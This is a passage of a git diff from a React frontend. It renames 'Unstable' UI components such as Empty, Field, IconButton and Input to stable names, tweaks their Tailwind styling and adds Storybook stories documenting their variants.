+    </Empty>
+  )
+};
+
+export const Minimal: Story = {
+  name: "Example: Minimal",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Omit the media entirely for a compact empty state. Useful for nested panels where a large illustration would dominate."
+      }
+    }
+  },
+  render: (args) => (
+    <Empty {...args}>
+      <EmptyHeader>
+        <EmptyTitle>Nothing here yet</EmptyTitle>
+        <EmptyDescription>
+          Items in this section will appear once they&apos;re created.
+        </EmptyDescription>
+      </EmptyHeader>
+    </Empty>
+  )
+};
+
+export const InsideCard: Story = {
+  name: "Example: Inside Card / Sheet / Dialog",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'When nesting `Empty` inside a `Card`, `Sheet`, or `Dialog`, add `className="border"` to activate the dashed frame that ships with the component. Without a border width the dashed styling is inert, so the empty state blends into its parent surface — the border gives it its own visual boundary inside the container.'
+      }
+    }
+  },
+  render: () => (
+    <Card className="w-[700px]">
+      <CardHeader>
+        <CardTitle>Access tokens</CardTitle>
+      </CardHeader>
+      <CardContent>
+        <Empty className="border">
+          <EmptyHeader>
+            <EmptyMedia variant="icon">
+              <KeyIcon />
+            </EmptyMedia>
+            <EmptyTitle>No active access tokens</EmptyTitle>
+            <EmptyDescription>
+              Access tokens let machines authenticate with the Infisical API. Generate one to
+              connect a client.
+            </EmptyDescription>
+          </EmptyHeader>
+          <EmptyContent>
+            <Button variant="outline">
+              <PlusIcon />
+              Generate token
+            </Button>
+          </EmptyContent>
+        </Empty>
+      </CardContent>
+    </Card>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Empty/Empty.tsx b/frontend/src/components/v3/generic/Empty/Empty.tsx
index e861bb5a4a0..3f8c18baf89 100644
--- a/frontend/src/components/v3/generic/Empty/Empty.tsx
+++ b/frontend/src/components/v3/generic/Empty/Empty.tsx
@@ -2,7 +2,7 @@ import { cva, VariantProps } from "cva";
 
 import { cn } from "../../utils";
 
-function UnstableEmpty({ className, ...props }: React.ComponentProps<"div">) {
+function Empty({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="empty"
@@ -15,7 +15,7 @@ function UnstableEmpty({ className, ...props }: React.ComponentProps<"div">) {
   );
 }
 
-function UnstableEmptyHeader({ className, ...props }: React.ComponentProps<"div">) {
+function EmptyHeader({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="empty-header"
@@ -55,7 +55,7 @@ function EmptyMedia({
   );
 }
 
-function UnstableEmptyTitle({ className, ...props }: React.ComponentProps<"div">) {
+function EmptyTitle({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="empty-title"
@@ -65,12 +65,12 @@ function UnstableEmptyTitle({ className, ...props }: React.ComponentProps<"div">
   );
 }
 
-function UnstableEmptyDescription({ className, ...props }: React.ComponentProps<"p">) {
+function EmptyDescription({ className, ...props }: React.ComponentProps<"p">) {
   return (
     <div
       data-slot="empty-description"
       className={cn(
-        "text-xs/relaxed text-muted [&>a]:underline [&>a]:underline-offset-4 [&>a:hover]:text-project",
+        "text-xs/relaxed text-muted [&>a]:underline [&>a]:underline-offset-4 [&>a:hover]:text-foreground",
         className
       )}
       {...props}
@@ -78,7 +78,7 @@ function UnstableEmptyDescription({ className, ...props }: React.ComponentProps<
   );
 }
 
-function UnstableEmptyContent({ className, ...props }: React.ComponentProps<"div">) {
+function EmptyContent({ className, ...props }: React.ComponentProps<"div">) {
   return (
     <div
       data-slot="empty-content"
@@ -91,11 +91,4 @@ function UnstableEmptyContent({ className, ...props }: React.ComponentProps<"div
   );
 }
 
-export {
-  EmptyMedia,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle
-};
+export { Empty, EmptyContent, EmptyDescription, EmptyHeader, EmptyMedia, EmptyTitle };
diff --git a/frontend/src/components/v3/generic/Field/Field.stories.tsx b/frontend/src/components/v3/generic/Field/Field.stories.tsx
new file mode 100644
index 00000000000..48bea4283f7
--- /dev/null
+++ b/frontend/src/components/v3/generic/Field/Field.stories.tsx
@@ -0,0 +1,223 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+
+import { Checkbox } from "../Checkbox";
+import { Input } from "../Input";
+import { Switch } from "../Switch";
+import {
+  Field,
+  FieldContent,
+  FieldDescription,
+  FieldError,
+  FieldGroup,
+  FieldLabel,
+  FieldLegend,
+  FieldSeparator,
+  FieldSet,
+  FieldTitle
+} from "./Field";
+
+/**
+ * Field provides the layout primitives for building form controls — label, control,
+ * description, and error message — with consistent spacing and accessible markup.
+ * Compose a single input with `Field` + `FieldLabel` + a control + optional
+ * `FieldDescription` / `FieldError`. Stack multiple fields in a `FieldGroup`, or wrap
+ * legal groupings (checkbox sets, fieldsets) in a `FieldSet` with a `FieldLegend`.
+ *
+ * The `orientation` prop on `Field` switches between `vertical` (default — stacked),
+ * `horizontal` (label left, control right), and `responsive` (vertical on narrow
+ * containers, horizontal on wider ones).
+ */
+const meta = {
+  title: "Generic/Field",
+  component: Field,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    orientation: {
+      control: "select",
+      options: ["vertical", "horizontal", "responsive"]
+    },
+    children: {
+      table: {
+        disable: true
+      }
+    },
+    className: {
+      table: {
+        disable: true
+      }
+    }
+  }
+} satisfies Meta<typeof Field>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Example: Default",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "The baseline field — `FieldLabel`, a control, and an optional `FieldDescription`. The label's `htmlFor` points at the control's `id` so screen readers pair them correctly."
+      }
+    }
+  },
+  render: () => (
+    <Field className="w-96">
+      <FieldLabel htmlFor="field-email">Email</FieldLabel>
+      <Input id="field-email" type="email" placeholder="you@company.com" />
+      <FieldDescription>
+        We&apos;ll use this address for sign-in and notifications.
+      </FieldDescription>
+    </Field>
+  )
+};
+
+export const WithError: Story = {
+  name: "Example: With Error",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Render `FieldError` below the control when validation fails. It accepts either a plain string (via `children`) or an `errors` array from `react-hook-form` — duplicate messages are deduplicated; multiple distinct messages render as a bulleted list."
+      }
+    }
+  },
+  render: () => (
+    <Field className="w-96">
+      <FieldLabel htmlFor="field-email-error">Email</FieldLabel>
+      <Input id="field-email-error" type="email" defaultValue="not-an-email" isError aria-invalid />
+      <FieldError>Enter a valid email address.</FieldError>
+    </Field>
+  )
+};
+
+export const Horizontal: Story = {
+  name: "Example: Horizontal",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Pass `orientation="horizontal"` for label-left / control-right layouts — common for inline toggle rows in settings panels. Wrap the label + description in a `FieldContent` so both align correctly against the control.'
+      }
+    }
+  },
+  render: () => (
+    <Field orientation="horizontal" className="w-[420px]">
+      <FieldContent>
+        <FieldTitle>Multi-factor authentication</FieldTitle>
+        <FieldDescription>
+          Require a second factor when signing in from a new device.
+        </FieldDescription>
+      </FieldContent>
+      <Switch defaultChecked />
+    </Field>
+  )
+};
+
+export const FieldGroupExample: Story = {
+  name: "Example: Field Group",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Stack related fields in a `FieldGroup` for consistent vertical rhythm (`gap-5`). The group also provides the `@container` query context that the `responsive` orientation keys off of."
+      }
+    }
+  },
+  render: () => (
+    <FieldGroup className="w-96">
+      <Field>
+        <FieldLabel htmlFor="group-name">Name</FieldLabel>
+        <Input id="group-name" defaultValue="Scott Wilson" />
+      </Field>
+      <Field>
+        <FieldLabel htmlFor="group-email">Email</FieldLabel>
+        <Input id="group-email" type="email" defaultValue="scott@infisical.com" />
+        <FieldDescription>
+          Used for sign-in and critical notifications. Cannot be changed.
+        </FieldDescription>
+      </Field>
+      <Field>
+        <FieldLabel htmlFor="group-role">Role</FieldLabel>
+        <Input id="group-role" defaultValue="Admin" disabled />
+      </Field>
+    </FieldGroup>
+  )
+};
+
+export const WithSeparator: Story = {
+  name: "Example: With Separator",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          'Use `FieldSeparator` with text children ("OR") to split a form into alternate paths — e.g. email/password login above and SSO below.'
+      }
+    }
+  },
+  render: () => (
+    <FieldGroup className="w-96">
+      <Field>
+        <FieldLabel htmlFor="separator-email">Email</FieldLabel>
+        <Input id="separator-email" type="email" placeholder="you@company.com" />
+      </Field>
+      <Field>
+        <FieldLabel htmlFor="separator-password">Password</FieldLabel>
+        <Input id="separator-password" type="password" placeholder="••••••••" />
+      </Field>
+      <FieldSeparator>OR</FieldSeparator>
+      <Field>
+        <FieldLabel htmlFor="separator-sso">Company domain</FieldLabel>
+        <Input id="separator-sso" placeholder="acme.com" />
+        <FieldDescription>
+          Enter your organization&apos;s domain to sign in with SSO.
+        </FieldDescription>
+      </Field>
+    </FieldGroup>
+  )
+};
+
+export const FieldSetExample: Story = {
+  name: "Example: Field Set",
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Wrap related boolean controls in a `FieldSet` with a `FieldLegend` for semantic grouping — the legend serves as a single accessible label for the entire set, and `FieldDescription` right after the legend applies an extra top-negative-margin to tuck it close."
+      }
+    }
+  },
+  render: () => (
+    <FieldSet className="w-96">
+      <FieldLegend>Notifications</FieldLegend>
+      <FieldDescription>Choose which events should email you.</FieldDescription>
+      <FieldGroup>
+        <Field orientation="horizontal">
+          <Checkbox id="notify-deploys" defaultChecked />
+          <FieldContent>
+            <FieldTitle>Deploy events</FieldTitle>
+            <FieldDescription>When a deploy completes, fails, or is rolled back.</FieldDescription>
+          </FieldContent>
+        </Field>
+        <Field orientation="horizontal">
+          <Checkbox id="notify-access" />
+          <FieldContent>
+            <FieldTitle>Access changes</FieldTitle>
+            <FieldDescription>When roles or permissions change for this project.</FieldDescription>
+          </FieldContent>
+        </Field>
+        <Field orientation="horizontal">
+          <Checkbox id="notify-billing" defaultChecked />
+          <FieldContent>
+            <FieldTitle>Billing updates</FieldTitle>
+            <FieldDescription>Invoices, plan changes, and usage alerts.</FieldDescription>
+          </FieldContent>
+        </Field>
+      </FieldGroup>
+    </FieldSet>
+  )
+};
diff --git a/frontend/src/components/v3/generic/Field/Field.tsx b/frontend/src/components/v3/generic/Field/Field.tsx
index 42b45ef0104..54d94f9359b 100644
--- a/frontend/src/components/v3/generic/Field/Field.tsx
+++ b/frontend/src/components/v3/generic/Field/Field.tsx
@@ -3,14 +3,14 @@ import { cva, type VariantProps } from "cva";
 
 import { cn } from "../../utils";
 import { Label } from "../Label";
-import { UnstableSeparator as Separator } from "../Separator";
+import { Separator } from "../Separator";
 
 function FieldSet({ className, ...props }: React.ComponentProps<"fieldset">) {
   return (
     <fieldset
       data-slot="field-set"
       className={cn(
-        "flex flex-col gap-4 has-[>[data-slot=checkbox-group]]:gap-3 has-[>[data-slot=radio-group]]:gap-3",
+        "m-0 flex min-w-0 flex-col gap-4 border-0 p-0 has-[>[data-slot=checkbox-group]]:gap-3 has-[>[data-slot=radio-group]]:gap-3",
         className
       )}
       {...props}
@@ -28,7 +28,7 @@ function FieldLegend({
       data-slot="field-legend"
       data-variant={variant}
       className={cn(
-        "mb-1.5 font-medium data-[variant=label]:text-sm data-[variant=legend]:text-base",
+        "mb-1.5 font-medium text-foreground data-[variant=label]:text-sm data-[variant=legend]:text-base",
         className
       )}
       {...props}
@@ -109,7 +109,7 @@ function FieldTitle({ className, ...props }: React.ComponentProps<"div">) {
     <div
       data-slot="field-label"
       className={cn(
-        "flex w-fit items-center gap-2 text-sm leading-snug font-medium group-data-[disabled=true]/field:opacity-50",
+        "flex w-fit items-center gap-2 text-sm leading-snug font-medium text-foreground group-data-[disabled=true]/field:opacity-50",
         className
       )}
       {...props}
@@ -122,9 +122,8 @@ function FieldDescription({ className, ...props }: React.ComponentProps<"p">) {
     <p
       data-slot="field-description"
       className={cn(
-        "mt-1 text-left text-xs leading-normal font-normal text-muted group-has-[[data-orientation=horizontal]]/field:text-balance [[data-variant=legend]+&]:-mt-1.5",
-        "last:mt-0 nth-last-2:-mt-1",
-        "[&>a]:underline [&>a]:underline-offset-4 [&>a:hover]:text-primary",
+        "mt-0.5 text-left text-xs leading-snug font-normal text-muted group-has-[[data-orientation=horizontal]]/field:text-balance [[data-variant=legend]+&]:-mt-1.5",
+        "[&>a]:underline [&>a]:underline-offset-4 [&>a:hover]:text-foreground",
         className
       )}
       {...props}
@@ -149,14 +148,16 @@ function FieldSeparator({
       )}
       {...props}
     >
-      <Separator className="absolute inset-0 top-1/2" />
-      {children && (
-        <span
-          className="text-muted-foreground relative mx-auto block w-fit bg-background px-2"
-          data-slot="field-separator-content"
-        >
-          {children}
-        </span>
+      {children ? (
+        <div className="flex items-center gap-3">
+          <Separator className="flex-1" />
+          <span className="text-xs font-medium text-muted/65" data-slot="field-separator-content">
+            {children}
+          </span>
+          <Separator className="flex-1" />
+        </div>
+      ) : (
+        <Separator className="absolute inset-0 top-1/2" />
       )}
     </div>
   );
@@ -202,7 +203,7 @@ function FieldError({
     <div
       role="alert"
       data-slot="field-error"
-      className={cn("mt-1 text-xs font-normal text-danger", className)}
+      className={cn("mt-0.5 text-xs leading-snug font-normal text-danger", className)}
       {...props}
     >
       {content}
diff --git a/frontend/src/components/v3/generic/IconButton/IconButton.stories.tsx b/frontend/src/components/v3/generic/IconButton/IconButton.stories.tsx
new file mode 100644
index 00000000000..7117c65e07c
--- /dev/null
+++ b/frontend/src/components/v3/generic/IconButton/IconButton.stories.tsx
@@ -0,0 +1,342 @@
+import type { Meta, StoryObj } from "@storybook/react-vite";
+import { Link } from "@tanstack/react-router";
+import {
+  CheckIcon,
+  CircleXIcon,
+  EditIcon,
+  ExternalLinkIcon,
+  InfoIcon,
+  MoreHorizontalIcon,
+  PencilIcon,
+  SettingsIcon,
+  TriangleAlertIcon
+} from "lucide-react";
+
+import { OrgIcon, ProjectIcon, SubOrgIcon } from "../../platform";
+import { IconButton } from "./IconButton";
+
+/**
+ * IconButtons are square single-glyph buttons — use them for toolbar actions, row
+ * actions, and compact triggers where text would be redundant. Share the same
+ * variant palette as `Button` so a `Button` + `IconButton` pair (e.g. a split
+ * button) reads as a single connected control.
+ *
+ * Always provide an `aria-label` on icon-only buttons — the screen reader has no
+ * visible text to announce.
+ */
+const meta = {
+  title: "Generic/IconButton",
+  component: IconButton,
+  parameters: {
+    layout: "centered"
+  },
+  tags: ["autodocs"],
+  argTypes: {
+    variant: {
+      control: "select",
+      options: [
+        "default",
+        "outline",
+        "ghost",
+        "ghost-muted",
+        "success",
+        "info",
+        "warning",
+        "danger",
+        "project",
+        "org",
+        "sub-org"
+      ]
+    },
+    size: {
+      control: "select",
+      options: ["xs", "sm", "md", "lg"]
+    },
+    isPending: {
+      control: "boolean"
+    },
+    isDisabled: {
+      control: "boolean"
+    },
+    isFullWidth: {
+      table: {
+        disable: true
+      }
+    },
+    asChild: {
+      table: {
+        disable: true
+      }
+    },
+    children: {
+      table: {
+        disable: true
+      }
+    }
+  },
+  args: {
+    "aria-label": "Action",
+    isPending: false,
+    isDisabled: false,
+    size: "md"
+  }
+} satisfies Meta<typeof IconButton>;
+
+export default meta;
+type Story = StoryObj<typeof meta>;
+
+export const Default: Story = {
+  name: "Variant: Default",
+  args: {
+    variant: "default",
+    "aria-label": "Confirm",
+    children: <CheckIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Filled foreground button — the most emphatic variant. Use sparingly for the single primary action in a cluster."
+      }
+    }
+  }
+};
+
+export const Outline: Story = {
+  name: "Variant: Outline",
+  args: {
+    variant: "outline",
+    "aria-label": "More",
+    children: <MoreHorizontalIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use for general-purpose toolbar actions that sit alongside `outline` Buttons."
+      }
+    }
+  }
+};
+
+export const Ghost: Story = {
+  name: "Variant: Ghost",
+  args: {
+    variant: "ghost",
+    "aria-label": "Edit",
+    children: <EditIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Borderless button that only shows a background on hover — use inside dense rows or next to content where an outline would be visual noise."
+      }
+    }
+  }
+};
+
+export const GhostMuted: Story = {
+  name: "Variant: Ghost Muted",
+  args: {
+    variant: "ghost-muted",
+    "aria-label": "Edit",
+    children: <PencilIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Same borderless treatment as `ghost` but with a muted icon color until hover. Use for secondary actions that shouldn't draw the eye at rest — like inline edit pencils in detail panels."
+      }
+    }
+  }
+};
+
+export const Success: Story = {
+  name: "Variant: Success",
+  args: {
+    variant: "success",
+    "aria-label": "Approve",
+    children: <CheckIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use for productive confirmations like approve / accept actions."
+      }
+    }
+  }
+};
+
+export const Info: Story = {
+  name: "Variant: Info",
+  args: {
+    variant: "info",
+    "aria-label": "Info",
+    children: <InfoIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use for informational triggers — help tooltips, documentation links, details."
+      }
+    }
+  }
+};
+
+export const Warning: Story = {
+  name: "Variant: Warning",
+  args: {
+    variant: "warning",
+    "aria-label": "Warning",
+    children: <TriangleAlertIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use for attention-warranting triggers that aren't yet destructive."
+      }
+    }
+  }
+};
+
+export const Danger: Story = {
+  name: "Variant: Danger",
+  args: {
+    variant: "danger",
+    "aria-label": "Remove",
+    children: <CircleXIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use for destructive triggers — remove, delete, revoke."
+      }
+    }
+  }
+};
+
+export const Organization: Story = {
+  name: "Variant: Organization",
+  args: {
+    variant: "org",
+    "aria-label": "Organization",
+    children: <OrgIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Scope-tinted variant for organization-level actions."
+      }
+    }
+  }
+};
+
+export const SubOrganization: Story = {
+  name: "Variant: Sub-Organization",
+  args: {
+    variant: "sub-org",
+    "aria-label": "Sub-organization",
+    children: <SubOrgIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Scope-tinted variant for sub-organization-level actions."
+      }
+    }
+  }
+};
+
+export const Project: Story = {
+  name: "Variant: Project",
+  args: {
+    variant: "project",
+    "aria-label": "Project",
+    children: <ProjectIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Scope-tinted variant for project-level actions."
+      }
+    }
+  }
+};
+
+export const AsExternalLink: Story = {
+  name: "Example: As External Link",
+  args: {
+    variant: "ghost",
+    asChild: true,
+    "aria-label": "Open documentation",
+    children: (
+      <a target="_blank" rel="noopener noreferrer" href="https://infisical.com/">
+        <ExternalLinkIcon />
+      </a>
+    )
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use `asChild` with an `<a>` to render the icon button as an external link."
+      }
+    }
+  }
+};
+
+export const AsRouterLink: Story = {
+  name: "Example: As Router Link",
+  args: {
+    variant: "outline",
+    asChild: true,
+    "aria-label": "Settings",
+    children: (
+      <Link to=".">
+        <SettingsIcon />
+      </Link>
+    )
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use `asChild` with a TanStack `Link` to render the icon button as an internal link."
+      }
+    }
+  }
+};
+
+export const IsPending: Story = {
+  name: "Example: isPending",
+  args: {
+    variant: "outline",
+    isPending: true,
+    "aria-label": "Saving",
+    children: <CheckIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story:
+          "Use `isPending` to show a loading spinner inside the button and disable interaction. The Lottie spinner swaps to a dark version automatically for the filled `default` variant."
+      }
+    }
+  }
+};
+
+export const IsDisabled: Story = {
+  name: "Example: isDisabled",
+  args: {
+    variant: "outline",
+    isDisabled: true,
+    "aria-label": "Edit",
+    children: <EditIcon />
+  },
+  parameters: {
+    docs: {
+      description: {
+        story: "Use `isDisabled` to block interaction and mute the button to 50% opacity."
+      }
+    }
+  }
+};
diff --git a/frontend/src/components/v3/generic/IconButton/IconButton.tsx b/frontend/src/components/v3/generic/IconButton/IconButton.tsx
index c2f44d72898..7cf4e79b54d 100644
--- a/frontend/src/components/v3/generic/IconButton/IconButton.tsx
+++ b/frontend/src/components/v3/generic/IconButton/IconButton.tsx
@@ -10,30 +10,31 @@ import { cn } from "@app/components/v3/utils";
 const iconButtonVariants = cva(
   cn(
     "inline-flex items-center active:scale-[0.99] justify-center border cursor-pointer whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&>svg]:shrink-0",
-    "focus-visible:ring-ring outline-0 focus-visible:ring-2",
-    "data-[state=open]:bg-foreground/5"
+    "focus-visible:ring-ring outline-0 focus-visible:ring-2"
   ),
   {
     variants: {
       variant: {
         default:
-          "border-foreground bg-foreground text-background hover:bg-foreground/90 hover:border-foreground/90",
-        accent:
-          "border-accent/10 bg-accent/40 text-foreground hover:bg-accent/50 hover:border-accent/20",
-        outline: "text-foreground hover:bg-foreground/20 border-border hover:border-foreground/50",
-        ghost: "text-foreground hover:bg-foreground/10 border-transparent",
+          "border-foreground bg-foreground text-background hover:bg-foreground/90 hover:border-foreground/90 data-[state=open]:bg-foreground/90 data-[state=open]:border-foreground/90",
+        outline:
+          "text-foreground hover:bg-foreground/10 border-border hover:border-foreground/20 data-[state=open]:bg-foreground/10 data-[state=open]:border-foreground/20",
+        ghost:
+          "text-foreground hover:bg-foreground/10 border-transparent data-[state=open]:bg-foreground/10",
+        "ghost-muted":
+          "text-muted hover:text-foreground hover:bg-foreground/10 border-transparent data-[state=open]:text-foreground data-[state=open]:bg-foreground/10",
         project:
-          "border-project/25 bg-project/10 text-foreground hover:bg-project/15 hover:border-project/30",
-        org: "border-org/25 bg-org/10 text-foreground hover:bg-org/15 hover:border-org/30",
+          "border-project/25 bg-project/10 text-foreground hover:bg-project/15 hover:border-project/30 data-[state=open]:bg-project/15 data-[state=open]:border-project/30",
+        org: "border-org/25 bg-org/10 text-foreground hover:bg-org/15 hover:border-org/30 data-[state=open]:bg-org/15 data-[state=open]:border-org/30",
         "sub-org":
-          "border-sub-org/25 bg-sub-org/10 text-foreground hover:bg-sub-org/15 hover:border-sub-org/30",
+          "border-sub-org/25 bg-sub-org/10 text-foreground hover:bg-sub-org/15 hover:border-sub-org/30 data-[state=open]:bg-sub-org/15 data-[state=open]:border-sub-org/30",
         success:
-          "border-success/25 bg-success/10 text-foreground hover:bg-success/15 hover:border-success/30",
-        info: "border-info/25 bg-info/10 text-foreground hover:bg-info/15 hover:border-info/30",
+          "border-success/25 bg-success/10 text-foreground hover:bg-success/15 hover:border-success/30 data-[state=open]:bg-success/15 data-[state=open]:border-success/30",
+        info: "border-info/25 bg-info/10 text-foreground hover:bg-info/15 hover:border-info/30 data-[state=open]:bg-info/15 data-[state=open]:border-info/30",
         warning:
-          "border-warning/25 bg-warning/10 text-foreground hover:bg-warning/15 hover:border-warning/30",
+          "border-warning/25 bg-warning/10 text-foreground hover:bg-warning/15 hover:border-warning/30 data-[state=open]:bg-warning/15 data-[state=open]:border-warning/30",
         danger:
-          "border-danger/25 bg-danger/10 text-foreground hover:bg-danger/15 hover:border-danger/30"
+          "border-danger/25 bg-danger/10 text-foreground hover:bg-danger/15 hover:border-danger/30 data-[state=open]:bg-danger/15 data-[state=open]:border-danger/30"
       },
       size: {
         xs: "h-7 w-7 [&>svg]:size-4 rounded-sm [&>svg]:stroke-[1.75]",
@@ -56,14 +57,23 @@ const iconButtonVariants = cva(
   }
 );
 
-type UnstableIconButtonProps = React.ComponentProps<"button"> &
+type IconButtonProps = React.ComponentProps<"button"> &
   VariantProps<typeof iconButtonVariants> & {
     asChild?: boolean;
     isPending?: boolean;
     isDisabled?: boolean;
-  };
+  } & (
+    | {
+        asChild: true;
+        isPending?: never;
+      }
+    | {
+        asChild?: false;
+        isPending?: boolean;
+      }
+  );
 
-const UnstableIconButton = forwardRef<HTMLButtonElement, UnstableIconButtonProps>(
+const IconButton = forwardRef<HTMLButtonElement, IconButtonProps>(
   (
     {
       className,
@@ -81,15 +91,10 @@ const UnstableIconButton = forwardRef<HTMLButtonElement, UnstableIconButtonProps
   ): JSX.Element => {
     const Comp = asChild ? Slot : "button";
 
-    return (
-      <Comp
-        ref={ref}
-        data-slot="button"
-        type={type}
-        className={cn(iconButtonVariants({ variant, size, isPending }), className)}
-        disabled={isPending || disabled || isDisabled}
-        {...props}
-      >
+    const content = asChild ? (
+      children
+    ) : (
+      <>
         {children}
         {isPending && (
           <Lottie
@@ -104,11 +109,24 @@ const UnstableIconButton = forwardRef<HTMLButtonElement, UnstableIconButtonProps
             )}
           />
         )}
+      </>
+    );
+
+    return (
+      <Comp
+        ref={ref}
+        data-slot="button"
+        type={type}
+        className={cn(iconButtonVariants({ variant, size, isPending }), className)}
+        disabled={isPending || disabled || isDisabled}
+        {...props}
+      >
+        {content}
       </Comp>
     );
   }
 );
 
-UnstableIconButton.displayName = "IconButton";
+IconButton.displayName = "IconButton";
 
-export { iconButtonVariants, UnstableIconButton, type UnstableIconButtonProps };
+export { IconButton, type IconButtonProps, iconButtonVariants };
diff --git a/frontend/src/components/v3/generic/Input/Input.tsx b/frontend/src/components/v3/generic/Input/Input.tsx
index 073859c4d02..15fd32c7f52 100644
--- a/frontend/src/components/v3/generic/Input/Input.tsx
+++ b/frontend/src/components/v3/generic/Input/Input.tsx
@@ -2,28 +2,27 @@ import { forwardRef } from "react";
 
 import { cn } from "../../utils";
 
-const UnstableInput = forwardRef<
-  HTMLInputElement,
-  React.ComponentProps<"input"> & { isError?: boolean }
->(({ className, type, isError, ...props }, ref) => {
-  return (
-    <input
-      ref={ref}
-      type={type}
-      data-slot="input"
-      className={cn(
-        "h-9 w-full min-w-0 rounded-md border border-border bg-transparent px-3 py-1 text-sm shadow-xs transition-[color,box-shadow] outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
-        "focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
-        "aria-invalid:border-danger aria-invalid:ring-danger/40",
-        "selection:bg-foreground selection:text-background",
-        className
-      )}
-      aria-invalid={isError}
-      {...props}
-    />
-  );
-});
+const Input = forwardRef<HTMLInputElement, React.ComponentProps<"input"> & { isError?: boolean }>(
+  ({ className, type, isError, ...props }, ref) => {
+    return (
+      <input
+        ref={ref}
+        type={type}
+        data-slot="input"
+        className={cn(
+          "h-9 w-full min-w-0 rounded-md border border-border bg-transparent px-3 py-1 text-sm text-foreground shadow-xs transition-[color,box-shadow] outline-none file:inline-flex file:h-7 file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
+          "focus-visible:border-ring focus-visible:ring-[3px] focus-visible:ring-ring/50",
+          "aria-invalid:border-danger aria-invalid:ring-danger/40",
+          "selection:bg-foreground selection:text-background",
+          className
+        )}
+        aria-invalid={isError}
+        {...props}
+      />
+    );
+  }
+);
 
-UnstableInput.displayName = "UnstableInput";
+Input.displayName = "Input";
 
-export { UnstableInput };
+export { Input };
diff --git a/frontend/src/components/v3/generic/InputGroup/InputGroup.tsx b/frontend/src/components/v3/generic/InputGroup/InputGroup.tsx
index 00dd52640cb..7e2c3de274d 100644
--- a/frontend/src/components/v3/generic/InputGroup/InputGroup.tsx
+++ b/frontend/src/components/v3/generic/InputGroup/InputGroup.tsx
@@ -3,7 +3,7 @@ import * as React from "react";
 import { cva, type VariantProps } from "cva";
 
 import { cn } from "../../utils";
-import { UnstableInput } from "../Input";
+import { Input } from "../Input";
 
 function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
   return (
@@ -124,7 +124,7 @@ function InputGroupText({ className, ...props }: React.ComponentProps<"span">) {
 const InputGroupInput = React.forwardRef<HTMLInputElement, React.ComponentProps<"input">>(
   ({ className, ...props }, ref) => {
     return (
-      <UnstableInput
+      <Input
         ref={ref}
         data-slot="input-group-control"
         className={cn(
diff --git a/frontend/src/components/v3/generic/Item/Item.tsx b/frontend/src/components/v3/generic/Item/Item.tsx
index 3340303850c..7a4683b79ef 100644
--- a/frontend/src/components/v3/generic/Item/Item.tsx
+++ b/frontend/src/components/v3/generic/Item/Item.tsx
@@ -4,7 +4,7 @@ import { Slot } from "@radix-ui/react-slot";
 import { cva, type VariantProps } from "cva";
 
 import { cn } from "../../utils";
-import { UnstableSeparator as Separator } from "../Separator";
+import { Separator } from "../Separator";
 
 function ItemGroup({ className, ...props }: React.ComponentProps<"div">) {
   return (
diff --git a/frontend/src/components/v3/generic/Label/Label.tsx b/frontend/src/components/v3/generic/Label/Label.tsx
index 21a1101da9d..bc4f450b5d0 100644
--- a/frontend/src/components/v3/generic/Label/Label.tsx
+++ b/frontend/src/components/v3/generic/Label/Label.tsx
@@ -9,7 +9,7 @@ function Label({ className, ...props }: React.ComponentProps<typeof LabelPrimiti
     <LabelPrimitive.Root
       data-slot="label"
       className={cn(
-        "flex items-center gap-2 text-sm leading-none font-medium select-none group-data-[disabled=true]:pointer-events-none group-data-[disabled=true]:opacity-50 peer-disabled:cursor-not-allowed peer-disabled:opacity-50",
+        "flex items-center gap-2 text-sm leading-none font-medium text-foreground select-none group-data-[disabled=true]:pointer-events-none group-data-[disabled=true]:opacity-50 peer-disabled:cursor-not-allowed peer-disabled:opacity-50",
         className
       )}
       {...props}
diff --git a/frontend/src/components/v3/generic/PageLoader/PageLoader.tsx b/frontend/src/components/v3/generic/PageLoader/PageLoader.tsx
index 346eead3af3..45c477c1bc7 100644
--- a/frontend/src/components/v3/generic/PageLoader/PageLoader.tsx
+++ b/frontend/src/components/v3/generic/PageLoader/PageLoader.tsx
@@ -1,9 +1,15 @@
+import { twMerge } from "tailwind-merge";
+
